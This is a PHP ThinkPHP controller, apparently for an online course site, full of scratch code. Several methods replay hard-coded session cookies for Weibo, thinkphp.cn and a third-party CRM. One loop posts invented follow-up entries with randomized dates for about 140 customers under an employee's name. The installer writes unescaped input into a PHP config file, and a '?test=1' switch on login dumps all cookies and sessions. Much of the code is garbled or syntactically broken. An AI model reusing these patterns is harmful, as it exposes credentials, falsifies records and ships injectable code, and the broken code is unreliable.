<?php
namespace app\index\controller;
use app\index\model\Money;
use think\Db;
use think\Request;
use app\index\model\Shop;
use app\index\model\Video;
use app\index\model\Likes;
use app\index\model\User;
use app\index\model\Profile;
use app\index\model\UserQq;
use app\index\model\Sms;
use app\index\model\Order;
use app\index\model\Footprint;
use app\index\model\Data;
use app\index\model\Index as in;
use app\index\model\Article;
use think\Debug;
use think\Url;
use think\Lang;
use think\Cookie;
use think\Session;
use think\Validate;
use think\captcha\Captcha;
class Index extends \think\Controller
{
public function _initialize(){
}
public function tom(){
$browser = new COM("InternetExplorer.Application");
$handle = $browser->HWND;
$browser->Visible = true;
$im = imagegrabwindow($handle);
$browser->Quit();
imagepng($im, "iesnap.png");
$im = imagegrabscreen();
die();
header("content-type:text/html;charset=utf-8");
$img = imagecreatetruecolor(464,310);
$red = imagecolorallocate($img,222,41,16);
$yellow = imagecolorallocate($img,255,222,0);
imagefill($img,0,0,$red);
$arr = array(35,63,69,63,79,35,90,63,123,63,97,84,105,118,78,99,52,116,59,84);
$arr1 = array(144,22,156,24,161,18,161,28,171,32,160,37,160,46,152,38,141,39,148,31);
$arr2 = array(171,65,182,59,180,50,188,57,196,52,194,62,201,70,192,70,185,78,183,67);
$arr3 = array(172,104,184,104,187,94,190,104,202,104,194,111,199,124,188,113,178,124,181,111);
$arr4 = array(144,130,155,133,161,127,160,136,171,142,160,145,160,154,152,145,143,149,150,138);
imagepolygon($img,$arr,10,$yellow);
imagefilledpolygon($img,$arr,10,$yellow);
imagepolygon($img,$arr1,10,$yellow);
imagefilledpolygon($img,$arr1,10,$yellow);
imagepolygon($img,$arr2,10,$yellow);
imagefilledpolygon($img,$arr2,10,$yellow);
imagepolygon($img,$arr3,10,$yellow);
imagefilledpolygon($img,$arr3,10,$yellow);
imagepolygon($img,$arr4,10,$yellow);
imagefilledpolygon($img,$arr4,10,$yellow);
header("content-type:image/jpeg");
imagejpeg($img);
imagedestroy($img);
die();
$im = imagegrabscreen();
imagepng($im, "myscreenshot.png"); die();
$im=imagecreatetruecolor(1200,500);
$black=imagecolorallocate($im,0,0,0);
$white=imagecolorallocate($im,255,255,255);
$red=imagecolorallocate($im,255,0,0);
imagefill($im,0,0,$white);
$money=array('9'=>50,'10'=>100,'11'=>130,'12'=>150,'13'=>120,'14'=>200,'15'=>300,'16'=>'280','17'=>'370','18'=>350)foreach($money as $key=>$value) $point[]=array(($key-8)*100,500-$value);
}
for($i=0,$j=count($point);$i<$j-1;$i++) imagesetpixel($im,$point[$i][0],$point[$i][1],$red);
imageline($im,$point[$i][0],$point[$i][1],$point[$i+1][0],$point[$i+1][1],$black);
}
header('Content-type:image/jpeg');
imagejpeg($im);
imagedestroy($im);
die();
$im = imagecreatetruecolor(100, 100);
header('Content-type: image/jpg');
imagepng($im);
imagedestroy($im);
imagedestroy($im,'tom.jpg');
die();
}
public function sms(){
echo '666123456';
}
public function course(){
$course = Shop::course();
$this->assign('course', $course);
return view();
}
public function install(){
set_time_limit(0);
$hostname = input('hostname');
$database = input('database');
$username = input('username');
$password = input('password');
$step = input('step');
$install_lock = ROOT_PATH . 'application' . DS .'install.lock';
if (file_exists($install_lock)) {
$install_lock = 1;
}
if (Request::instance()->isPost() and $install_lock == 1) {
header('Content-Type:text/plain;charset=utf-8');
return $this->error("已安装,重新安装请删除application/install.lock 文件 ");
}
if (Request::instance()->isPost() and $install_lock <> 1) {
try{
$conn = mysqli_connect(
$hostname,
$username,
$password,
$database);
}catch(\Exception $e){
return $this->error("连接数据库错误,请检查数据库账号密码是否正确。<br/>".$e->getMessage());
}
$database_file = ROOT_PATH . 'application' . DS . 'database.php';
$myfile = fopen($database_file, "w") or die("Unable to open file!");
$txt = "<?php
<liu21st@gmail.com>
return [
'type' => 'mysql',
'hostname' => '".$hostname."',
'database' => '".$database."',
'username' => '".$username."',
'password' => '".$password."',
'hostport' => '',
'dsn' => '',
'params' => [],
'charset' => 'utf8',
'prefix' => 'think_',
'debug' => true,
'deploy' => 0,
'rw_separate' => false,
'master_num' => 1,
'slave_no' => '',
'fields_strict' => true,
'resultset_type' => 'array',
'auto_timestamp' => false,
'datetime_format' => 'Y-m-d H:i:s',
'sql_explain' => false,
];
";
fwrite($myfile, $txt);
fclose($myfile);
$sql_file = ROOT_PATH . 't9665.sql';
$_sql = file_get_contents($sql_file);
$_arr = explode(';', $_sql);
header("content-Type: text/html; charset=Utf-8");
foreach ($_arr as $_value) {
if ($conn->query($_value.';') === TRUE) {
echo $_value . " --- > ok ";
ob_flush();
flush();
sleep(1);
} else {
if(!$_value) {
echo $_value ." Error: " .$conn->error . " ";
ob_flush();
flush();
sleep(1);
echo "<script>alert('导入sql,注意先清空数据库。防止冲突')</script>";
die();
}
}
}
$conn->close();
$conn = null;
$myfile = fopen($install_lock, "w") or die("Unable to open file!");
$txt = "install_lock\n";
fwrite($myfile, $txt);
$txt = "提示:安装成功,如需再次安装,请删除此文件\n";
fwrite($myfile, $txt);
fclose($myfile);
$this->success('安装成功', url('/index/index/install/step/12'));
$this->redirect('index/install', ['step' => 10]);
}
$this->assign('install_lock', $install_lock);
return view();
}
public function cha123(){
$image = \think\Image::open('./image.png');
$image->thumb(150, 150)->save('./thumb.png');
die();
$url = 'https://weibo.com/p/aj/v6/mblog/add?ajwvr=6&domain=100505&__rnd=1523085138515';
$data = [
"title" => "有什么新鲜事想告诉大家?",
"location" => "page_100505_info",
"text" => "123456",
"appkey" => "",
"style_type" => 1,
"pic_id" => "",
"tid" => "",
"pdetail" => "1005051174602572",
"mid" => "",
"isReEdit" => "false",
"rank" => 0,
"rankid" => " ",
"pub_source" => "page_2",
"longtext" => 1,
"topic_id" => "1022:",
"pub_type" => "dialog",
"_t" => "0"
];
$ch=curl_init($url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POSTFIELDS , http_build_query($data));
curl_setopt($ch, CURLOPT_COOKIE, 'YF-Ugrow-G0=169004153682ef91866609488943c77f; login_sid_t=eb5628f23b074423332be157f520ccdf; cross_origin_proto=SSL; YF-V5-G0=8d795ebe002ad1309b7c59a48532ef7d; _s_tentry=passport.weibo.com; Apache=380468972491.9297.1523082813101; SINAGLOBAL=380468972491.9297.1523082813101; ULV=1523082813107:1:1:1:380468972491.9297.1523082813101:; appkey=; ALF=1554619614; SSOLoginState=1523083615; SUB=_2A253zBkPDeRhGedP7FYX8CzJzD6IHXVUuA3HrDV8PUNbmtANLRXBkW9NXxMmyXsgzkCZQWUUhBJMpq8X45vWPBc0; SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9Why4PpkzmwOd6lEdh4ZjGv.5JpX5KzhUgL.Fo2pS0BcehzfS0z2dJLoIpjLxK.L1heLB-BLxK-LB-BL1-qLxKqLBoqL1-zt; SUHB=0YhQq4cPotswOh; wvr=6; UOR=,,graph.qq.com; YF-Page-G0=7b9ec0e98d1ec5668c6906382e96b5db; wb_timefeed_1174602572=1'); $contents=curl_exec($ch);
curl_close($ch);
dump($contents);
}
public function cha66(){
$url = 'http://www.thinkphp.cn/member/updateUserDesc';
$url = 'http://www.thinkphp.cn/code/2528.html';
$data = [
"description" => "thinkphp+tom66",
];
$ch=curl_init($url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POSTFIELDS , http_build_query($data));
curl_setopt($ch, CURLOPT_COOKIE, 'pgv_pvi=6923126784; __jsluid=7367e1661802f46ff57401231db9169b; PHPSESSID=tf4eqf4p2hmvsr5ru97rbb9t12; pgv_si=s5298642944; THINK_THINKPHP_USER=%22MDAwMDAwMDAwMIWihmSEqKnb%22; THINK_think_auth=%22MDAwMDAwMDAwMIWihmSEqKnbpIiWk8iUaqHEpZdlv4qbbg%22; think_ucenter_sync_login=%22MDAwMDAwMDAwMIWjimGvfXzfeY15ZrOig9mAdnuSfrqtcQ%22; __utmc=118719948; __utmz=118719948.1523083151.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118719948.1002877965.1523083151.1523083151.1523086307.2; __utmb=118719948.3.10.1523086307'); $contents=curl_exec($ch);
curl_close($ch);
dump($contents);
}
public function cha9(){
set_time_limit(0);
$tom = array("82699",
"82561",
"13146" );
$tom = array(
"92017","91406","88382","88083","86155","85357","84400","83489","82810","82459","81256","81248","80820", "78591", " 78556","75891","75859","75762","75403","74958","74011","73879","73856","73493","72869","71308","71307","70675","69732","69258","68994","67632","67620","66999","66912","65978","65315","65213","64934","64810", "64545","63508","63473","62283","61720","61296","60013","58917","58371","57725","57220","57153","57116","57108","56542","55876","55322","55307","55272","55251","54838","51963","51929","51894","51515","50637","50216","50081","48606","48208","47663","47118","45340","45328","45227","44941","44923","44497","43610","42699","42388","42127","41678","41619","41131","41054","40923","40913","40747","40744","40133","39886","39801","39181","39175","39032","39029","38663","38305","38211","38129","38046","37658","37211","37007","36907","36755","35486","35182","35109","34960","34706","32837","32802","32424","31382","30880","30714","30267","30038","29455","29195","28120","27735","27198","26786","26535","26262","26073","24816", " 24615", "24538","18199","18193","17926","17841", "17049"
);
$cars = $tom;
$arrlength=count($cars);
for($x=0;$x<$arrlength;$x++) {
$add_id = $cars[$x];
<br>";
$g =array(
"1" => "需要再联系",
"2" => "再联系",
"3" => "近期没有",
"4" => "跟进",
"5" => "需要联系我",
"6" => "需要在联系",
"7" => "再联系",
"8" => "近期再联系",
"9" => "近期再联系");
$ran_time = rand(1,9);
$next_time = "2018-08-01 11:40:23";
$next_time = "2018-08-0".$ran_time." 1".$ran_time.":2".$ran_time.":5".$ran_time ;
sleep(rand(0,0));
dump($next_time);
$g = $g[$ran_time];
dump($g);
ob_flush();
flush();
$url = 'http://crm.zhiguagua.com/SystemFrameWorkV3/Ajax/Task/LoadService.aspx?IsMenu=true&TaskName=%E8%A1%8C%E5%8A%A8%E5%8E%86%E5%8F%B2%E8%AE%B0%E5%BD%95&TaskGuid=87ebc3e5-d250-4046-af13-5e04dd1862e9&WCFUITaskGuid=e3b6ccc9-f471-4219-9bae-f928e735c950&FormEvent=1&SubmitFormEventDealer=CustomizedWCFUI.ServiceFactory.CRM.CustomerActionHistoryClass%7CAddNewEvent&Version=0.34745302515421295';
dump(Cookie::get('cookie_file'));
$cookie_file = Cookie::get('cookie_file');
$data = [
"HtmlControlFormPostDataObject" => '{"CRM.CustomerActionHistory.1":{"CustomerActionHistory_Title":"'. $g .'","CustomerActionHistory_ContactRealName":"","CustomerActionHistory_Date":"","CustomerActionHistory_ActionTye":"有效","CustomerActionHistory_ApplyEmployee":"靳佩佩","CustomerActionHistory_Note":"","CustomerActionHistory_Attachment":"","CustomerActionHistory_下次跟进时间":"'. $next_time .'","CustomerActionHistory_下次跟进内容":"","CustomerActionHistory_longitude":"","CustomerActionHistory_latitude":"","CustomerActionHistory_Location":""}}',
"CustomerID" => $add_id,
"CustomerSaleChanceID" => 0,
"CommonChildDataTable" => "{}",
];
$ch=curl_init($url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POSTFIELDS , http_build_query($data));
curl_setopt($ch, CURLOPT_COOKIE, 'JXLoginUsername=jinpeipei; ASP.NET_SessionId=loeakka1utydivddsaymrtsb; UserInfo=ewAiAEkAcwBMAG8AZwBnAGkAbgAiADoAdAByAHUAZQAsACIATwByAGcAYQBuAGkAegBhAHQAaQBvAG4ASQBEACIAOgAxACwAIgBVAHMAZQByAEcAdQBpAGQAIgA6ACIAYgA2ADkAYgAwADUAMwA5AC0AMAA5ADcAZQAtADQAOABiAGEALQA5AGYAYwA1AC0ANwBlADEAMAA3AGEAYgA5AGQAZAA0ADIAIgAsACIAVQBzAGUAcgBuAGEAbQBlACIAOgAiAGoAaQBuAHAAZQBpAHAAZQBpACIALAAiAFIAZQBhAGwAbgBhAG0AZQAiADoAIgBzl2lPaU8iACwAIgBMAGEAcwB0AEwAbwBnAGkAbgBEAGEAdABlACIAOgAiADIAMAAxADgALwA1AC8AMgAgADkAOgAwADEAOgAyADgAIgAsACIAQQB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ADAALAAiAEkAcwBWAGEAbABpAGQAIgA6AHQAcgB1AGUAfQA='); $contents=curl_exec($ch);
curl_close($ch);
}
die();
die();
}
public function curl_copy_cookie(){
<div class="name" id="abc">电影</div>';<div class="name" id="abc">(.*?)<\/div>/i', $str, $name);
$str = 'javascript:CustomerInfoClass.PostCustomerActionHistory(94200)';
preg_match('ustomerInfoClass.PostCustomerActionHistory/((.*?)/)', $str, $name);
dump($name);
die();
header("Content-type:text/html;Charset=utf8");
$ch =curl_init();
curl_setopt($ch,CURLOPT_URL,'http://crm.zhiguagua.com/SystemFrameWorkV3/Service.CRM.CustomizedWCFUI.ServiceFactory.CRM.CustomerInfoClass.LoadDataGrid.aspx?Method=ViewCustomerInfo&MethodName=%E6%9F%A5%E7%9C%8B%E5%AE%A2%E6%88%B7%E4%BF%A1%E6%81%AF&CustomerID=94100&CustomerName=%E7%8E%8B%E5%A5%B3%E5%A3%AB&VerifyCode=45365f4fc91b680512c2b6eca0299ff7');
$header = array();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_HEADER,true);
curl_setopt($ch,CURLOPT_HTTPHEADER,$header);
curl_setopt($ch,CURLOPT_COOKIE,'JXLoginUsername=jinpeipei; ASP.NET_SessionId=ardtu0jvzpb5ng1mlkpewyu2; UserInfo=ewAiAEkAcwBMAG8AZwBnAGkAbgAiADoAdAByAHUAZQAsACIATwByAGcAYQBuAGkAegBhAHQAaQBvAG4ASQBEACIAOgAxACwAIgBVAHMAZQByAEcAdQBpAGQAIgA6ACIAYgA2ADkAYgAwADUAMwA5AC0AMAA5ADcAZQAtADQAOABiAGEALQA5AGYAYwA1AC0ANwBlADEAMAA3AGEAYgA5AGQAZAA0ADIAIgAsACIAVQBzAGUAcgBuAGEAbQBlACIAOgAiAGoAaQBuAHAAZQBpAHAAZQBpACIALAAiAFIAZQBhAGwAbgBhAG0AZQAiADoAIgBzl2lPaU8iACwAIgBMAGEAcwB0AEwAbwBnAGkAbgBEAGEA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B5AHMAdABlAG0ALQBDAFIATQAiACwAIgBPAHIAZABlAHIASQBEACIAOgAxADAAMAAwADAALAAiAEkAcwBWAGEAbABpAGQAIgA6AHQAcgB1AGUAfQA=');
$content = curl_exec($ch);
<pre>";print_r(curl_error($ch));echo "</pre>";
<pre>";print_r(curl_getinfo($ch));echo "</pre>";
<pre>";print_r($header);echo "</pre>";
echo $content;
}
public function curl_copy_cookie002(){
header("Content-type:text/html;Charset=utf8");
$ch =curl_init();
curl_setopt($ch,CURLOPT_URL,'http://crm.zhiguagua.com/SystemFrameWorkV3/Service.CRM.CustomizedWCFUI.ServiceFactory.CRM.CustomerInfoClass.LoadDataGrid.aspx?Method=ViewCustomerInfo&MethodName=查看客户信息&CustomerID=83736&CustomerName=2&VerifyCode=d5d84599953dc1d80cbe2b4a88e52485');
$header = array();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_HEADER,true);
curl_setopt($ch,CURLOPT_HTTPHEADER,$header);
curl_setopt($ch,CURLOPT_COOKIE,'JXLoginUsername=jinpeipei; ASP.NET_SessionId=ardtu0jvzpb5ng1mlkpewyu2; UserInfo=ewAiAEkAcwBMAG8AZwBnAGkAbgAiADoAdAByAHUAZQAsACIATwByAGcAYQBuAGkAegBhAHQAaQBvAG4ASQBEACIAOgAxACwAIgBVAHMAZQByAEcAdQBpAGQAIgA6ACIAYgA2ADkAYgAwADUAMwA5AC0AMAA5ADcAZQAtADQAOABiAGEALQA5AGYAYwA1AC0ANwBlADEAMAA3AGEAYgA5AGQAZAA0ADIAIgAsACIAVQBzAGUAcgBuAGEAbQBlACIAOgAiAGoAaQBuAHAAZQBpAHAAZQBpACIALAAiAFIAZQBhAGwAbgBhAG0AZQAiADoAIgBzl2lPaU8iACwAIgBMAGEAcwB0AEwAbwBnAGkAbgBEAGEAdABlACIAOgAiADIAMAAxADgALwA0AC8ANwAgADEAOgAzADYAOgAwADUAIgAsACIAQQBjAHQAaQBvAG4AUgBlAHMAdQB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QAIgA6AHQAcgB1AGUAfQA=');
$content = curl_exec($ch);
echo "<pre>";print_r(curl_error($ch));echo "</pre>";
echo "<pre>";print_r(curl_getinfo($ch));echo "</pre>";
echo "<pre>";print_r($header);echo "</pre>";
echo "</br>",$content;
}
public function curl_get(){
$url = 'http://crm.zhiguagua.com/SystemFrameWorkV3/Ajax/Task/LoadData.aspx?IsMenu=True&TaskName=&TaskGuid=88b5feb1-6951-43c8-aeb7-8af7f3cef372&WCFUITaskGuid=9fee84cf-bdc4-4ec0-a5f0-ba83e17415ae&LoadGridDataEventDealer=CustomizedWCFUI.ServiceFactory.CRM.CustomerInfoClass%7cLoadGridDataEvent&Version=2018/4/7%202:57:40';
dump(Cookie::get('cookie_file'));
$cookie_file = Cookie::get('cookie_file');
$data = [
"Tab" => "30天未跟进",
"MenuCode" => "CRM.CustomizedWCFUI.ServiceFactory.CRM.CustomerInfoClass.LoadDataGrid",
"IsJQuery" => "true",
"pagenum" => 3,
"pagesize" => 10
];
$ch=curl_init($url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POSTFIELDS , http_build_query($data));
curl_setopt($ch, CURLOPT_COOKIE, 'JXLoginUsername=jinpeipei; ASP.NET_SessionId=ardtu0jvzpb5ng1mlkpewyu2; UserInfo=ewAiAEkAcwBMAG8AZwBnAGkAbgAiADoAdAByAHUAZQAsACIATwByAGcAYQBuAGkAegBhAHQAaQBvAG4ASQBEACIAOgAxACwAIgBVAHMAZQByAEcAdQBpAGQAIgA6ACIAYgA2ADkAYgAwADUAMwA5AC0AMAA5ADcAZQAtADQAOABiAGEALQA5AGYAYwA1AC0ANwBlADEAMAA3AGEAYgA5AGQAZAA0ADIAIgAsACIAVQBzAGUAcgBuAGEAbQBlACIAOgAiAGoAaQBuAHAAZQBpAHAAZQBpACIALAAiAFIAZQBhAGwAbgBhAG0AZQAiADoAIgBzl2lPaU8iACwAIgBMAGEAcwB0AE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bwBkAGUAIgA6ACIAUwB5AHMAdABlAG0ALQBDAFIATQAiACwAIgBPAHIAZABlAHIASQBEACIAOgAxADAAMAAwADAALAAiAEkAcwBWAGEAbABpAGQAIgA6AHQAcgB1AGUAfQA='); $contents=curl_exec($ch);
curl_close($ch);
dump($contents);
die();
$url = 'http://crm.zhiguagua.com/SystemFrameWorkV3/Ajax/Task/LoadService.aspx?IsMenu=true&TaskName=%E8%A1%8C%E5%8A%A8%E5%8E%86%E5%8F%B2%E8%AE%B0%E5%BD%95&TaskGuid=87ebc3e5-d250-4046-af13-5e04dd1862e9&WCFUITaskGuid=e3b6ccc9-f471-4219-9bae-f928e735c950&FormEvent=1&SubmitFormEventDealer=CustomizedWCFUI.ServiceFactory.CRM.CustomerActionHistoryClass%7CAddNewEvent&Version=0.34745302515421295';
dump(Cookie::get('cookie_file'));
$cookie_file = Cookie::get('cookie_file');
$data = [
"HtmlControlFormPostDataObject" => '{"CRM.CustomerActionHistory.1":{"CustomerActionHistory_Title":"366","CustomerActionHistory_ContactRealName":"","CustomerActionHistory_Date":"","CustomerActionHistory_ActionTye":"有效","CustomerActionHistory_ApplyEmployee":"靳佩佩","CustomerActionHistory_Note":"","CustomerActionHistory_Attachment":"","CustomerActionHistory_下次跟进时间":"2018-06-01 02:40:23","CustomerActionHistory_下次跟进内容":"","CustomerActionHistory_longitude":"","CustomerActionHistory_latitude":"","CustomerActionHistory_Location":""}}',
"CustomerID" => 83736,
"CustomerSaleChanceID" => 0,
"CommonChildDataTable" => "{}",
];
$ch=curl_init($url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POSTFIELDS , http_build_query($data));
curl_setopt($ch, CURLOPT_COOKIE, 'JXLoginUsername=jinpeipei; ASP.NET_SessionId=ardtu0jvzpb5ng1mlkpewyu2; UserInfo=ewAiAEkAcwBMAG8AZwBnAGkAbgAiADoAdAByAHUAZQAsACIATwByAGcAYQBuA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BSAG8AbABlAC0AQwBvAG0AbQBvAG4AXAB1ADAAMAAyADcALABcAHUAMAAwADIANwBSAG8AbABlAC0AYwB3AGwAXAB1ADAAMAAyADcAIgAsACIAQwBvAG8AawBpAGUAVgBlAHIAaQBmAHkAQwBvAGQAZQAiADoAIgAxADAANwA5ADUAZABlADIAMAAyAGQAMQA2ADYAZgA3ADAANQA4ADEAZAA0ADkAZgA2ADYAMAA1AGMAZgAxADgAIgAsACIATABvAGcAaQBuAFMAdQBiAFMAeQBzAHQAZQBtAEMAbwBkAGUAIgA6ACIAUwB5AHMAdABlAG0ALQBDAFIATQAiACwAIgBPAHIAZABlAHIASQBEACIAOgAxADAAMAAwADAALAAiAEkAcwBWAGEAbABpAGQAIgA6AHQAcgB1AGUAfQA='); $contents=curl_exec($ch);
curl_close($ch);
dump($contents);
die();
$url = 'http://crm.zhiguagua.com/SystemFrameWorkV3/Service.CRM.CustomizedWCFUI.ServiceFactory.CRM.CustomerInfoClass.LoadDataGrid.aspx?Tab=%E4%BB%8A%E6%97%A5%E6%96%B0%E5%A2%9E';
dump("演示一下 api跨域访问");
$data=array(
"LoginUsername" => "js",
"LoginPassword" => "33"
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
curl_setopt($ch, CURLOPT_POSTFIELDS , http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
die();
}
public function curl_login(){
$cookie_file ="";
$url_login = 'http://crm.zhiguagua.com/SystemFrameWorkV3/Ajax/User/Login.aspx?action=SubmitLoginAccount&Version=0.810160670564136';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url_login);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_MAXREDIRS, 100);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_COOKIEJAR,$cookie_file);$header = [
'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,**;q=0.8',
dump("演示一下 api跨域访问");
$url = "http://crm.zhiguagua.com/SystemFrameWorkV3/Ajax/User/Login.aspx?action=SubmitLoginAccount&Version=0.12808618620752532";
$url = "http://crm.zhiguagua.com/SystemFrameWorkV3/Ajax/User/Login.aspx?action=SubmitLoginAccount&Version=0.810160670564136";
$data=array(
"LoginUsername" => "js",
"LoginPassword" => "33"
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
curl_setopt($ch, CURLOPT_POSTFIELDS , http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
}
public function has(){
<>',1)->paginate(10);
$user = User::get(55); dump($user->money);
$list = User::withSum('cards','total')->select([1,2,3]);
foreach($list as $user){
echo $user->cards_sum;
}
}
public function has123(){
echo "^_^";
$user = User::get(43); echo $user->profile->email;
}
public function videoTime(){
$t = input('t');
$d = input('d');
$shop = input('id');
$phone = Cookie::get('phone');
$add = '';
if (!$phone){
$phone ="15966982315";
}
$tshop = Cookie::get('t'.$shop);<br />";
$tshopvalue = $t - $tshop;
<br />";
if ($t<=1){ Cookie::set('t'.$shop,0,36000000); $tshop = Cookie::get('t'.$shop);
$count = Video::where('phone', $phone)
->where('shop', $shop)
->count();
<br/>";
if (!$count){
<br/>";
$user = Video::create([
'title' => 10,
'shop' => $shop,
'phone' => $phone,
'age' => 100,
]);
}
}
<br/>";
if ($d-$t<=10){
$add = $d-$t;
}
if ($tshopvalue>="5.00000" and $tshopvalue<="12.50500"){
if ($tshopvalue>="10.00000" and $tshopvalue<="12.00500" ) {
$edit = Video::where('phone', $phone)
->where('shop', $shop)
->update(['title' => $t+$add,'age' => $d,'update_time' => time()]);
echo "更新学习进度,跟新了" . $edit .'条';
Cookie::set('t'.$shop,$t,36000000);
}
}
}
public function videoTimeOver()
{
$t = input('t');
$d = input('d');
$shop = input('id');
$phone = Cookie::get('phone');
$tshop = Cookie::get('t' . $shop);
if ($d <= $tshop + 9) {
$status = Video::where('phone', $phone)
->where('shop', $shop)->value('status');
$status = $status + 1;
echo "本课您已学习完成:" . $status."次,为您的努力学习点赞~<br />";
if ($status == "1"){ $count = Data::where('phone', $phone)
->where('shop', $shop)
->count();
if ($count){
echo "恭喜您获得了红包一个。(注:红包已帮您包好了,红包功能上线后即可领取)";
} else {
echo "恭喜您学完本课,发表一条课堂笔记或评论 ,可领取红包一个奥(注:红包已帮您包好了,红包功能上线后即可领取)";
}
}
Video::where('phone', $phone)
->where('shop', $shop)
->update(['status' => $status,'update_time' => time()]);
}else{
return "您此次似乎没连续看完整节课程,连续看完才能学的扎实哦^_^";
}
}
public function order(){ footprint();
$user = Cookie::get('phone');
$order = Order::where('phone','=',$user)
->order('id', 'desc')
->paginate(20);
$this->assign('show', $order);
$this->assign('date', date('Ymdhis'));
return $this->fetch();
}
public function like()
{
footprint();
$search = input('search');
if (request()->isPost() and !cache('s_ajax_'.$search)) {
cache('online_time', NULL);
}
if (!cache('s_'.$search)) {
$show = Shop::where('label|title','like','%'.$search.'%')->order('sort', 'asc')->paginate(10);
cache('s_'.$search, $show, 0);
cache('s_ajax_'.$search, $show, 86400000);
}
$this->assign('show', cache('s_'.$search));
$this->assign('date', date('Ymdhis'));
return $this->fetch();
}
public function pay()
{
$phone = input('param.phone');
$rand = input('param.rand');
$subject = input('param.WIDsubject');
$fee = input('param.WIDtotal_fee');
$lesson = input('param.WIDbody');
$no = input('param.WIDout_trade_no').Cookie::get('phone');
if ($lesson=37){
$subject= "打赏:".$subject;
}
if ($lesson) {
Cookie::set('subject',$subject,360000);
Cookie::set('fee',$fee,360000);
Cookie::set('lesson',$lesson,3600000);
}
$warning = "";
$user = Cookie::get('phone');
$lesson = Cookie::get('lesson');
if (Cookie::get('phone')) {
# code...
$request = Request::instance();
$url = $request->domain().'/alipay/alipayapi.php?WIDtotal_fee='.$fee.'&WIDsubject='.$subject.'&WIDout_trade_no='.$no.'&WIDbody='.$lesson.'&WIDshow_url='.$lesson;
$this->redirect($url);
}
if ($phone) {
$validate = new Validate([
'phone' => 'max:11|number|between:13000000000,18999999999',
'rand' => 'require|min:4|number'
]);
$data = [
'phone' => $phone,
'rand' => $rand
];
if (!$validate->check($data)) {
$warning = $validate->getError();
} else{
$count = User::where('phone','=',$phone)->count();
$rand = Sms::where('rand','=',$rand)
->where('phone',$phone)
->whereTime('create_time', 'today')
->count();
if ($count==0&$rand>=1) {
$user = User::create([
'phone' => $phone
]);
Cookie::set('phone',$phone,360000000);
$no = $no . Cookie::get('phone');
$request = Request::instance();
$url = $request->domain().'/alipay/alipayapi.php?WIDtotal_fee='.$fee.'&WIDsubject='.$subject.'&WIDout_trade_no='.$no.'&WIDbody='.$lesson.'&WIDshow_url='.$lesson;
$this->redirect($url);
} elseif ($rand>=1) {
Cookie::set('phone',$phone,360000000);
$no = $no . Cookie::get('phone');
$request = Request::instance();
$url = $request->domain().'/alipay/alipayapi.php?WIDtotal_fee='.$fee.'&WIDsubject='.$subject.'&WIDout_trade_no='.$no.'&WIDbody='.$lesson.'&WIDshow_url='.$lesson;
$this->redirect($url);
} else {
$warning ="验证码有误";
}
}
}
$this->assign('warning', $warning);
return $this->fetch();
}
public function login()
{
footprint();
$phone = input('param.phone');
$rand = input('param.rand');
$rand_test = input('rand_test');
$logout = input('param.logout');
$login = input('param.login');
$invite = input('param.invite');
$admin = input('param.admin');
$code = input('code');
$password = input('password');
$warning = "";
$invite_phone = "";
$get_password = '';
$body = Session::get('body');
$total_fee = Session::get('total_fee');
if (input('test')>=1){
echo "您已进入开发人员测试环境";
$request = Request::instance();
echo 'domain: ' . $request->domain() . '<br/>';
echo 'file: ' . $request->baseFile() . '<br/>';
echo 'url: ' . $request->url() . '<br/>';
echo 'url with domain: ' . $request->url(true) . '<br/>';
echo 'url without query: ' . $request->baseUrl() . '<br/>';
echo 'root:' . $request->root() . '<br/>';
echo 'root with domain: ' . $request->root(true) . '<br/>';
echo 'pathinfo: ' . $request->pathinfo() . '<br/>';
echo 'pathinfo: ' . $request->path() . '<br/>';
echo 'ext: ' . $request->ext() . '<br/>';
$request = Request::instance();
echo '请求方法:' . $request->method() . '<br/>';
echo '资源类型:' . $request->type() . '<br/>';
echo '访问ip地址:' . $request->ip() . '<br/>';
echo '是否AJax请求:' . var_export($request->isAjax(), true) . '<br/>';
echo '请求参数:';
dump($request->param());
echo '请求参数:仅包含name';
dump($request->only(['phone']));
echo '请求参数:排除name';
dump($request->except(['phone']));
echo "获取全部的session变量";
dump(Request::instance()->session()); echo "获取全部的cookie变量";
dump(Request::instance()->cookie()); }
if ($invite) {
Cookie::set('invite',$invite,3600);
}
$invite = Cookie::get('invite');
if (Cookie::get('invite')){
$invite_phone = User::where('id','=',$invite)->value('phone');
}
if ($logout) {
Cookie::set('phone','',1);
Cookie::set('user_id','',1);
Cookie::set('vip','',1);
Cookie::set('token','',1);
Cookie::set('admin','',1);
return $this->success('退出成功^_^','login');
}
if (Request::instance()->isPost()) {
$validate = new Validate([
'phone' => 'require|max:11|number|between:13000000000,18999999999',
'password' => 'require|min:6',
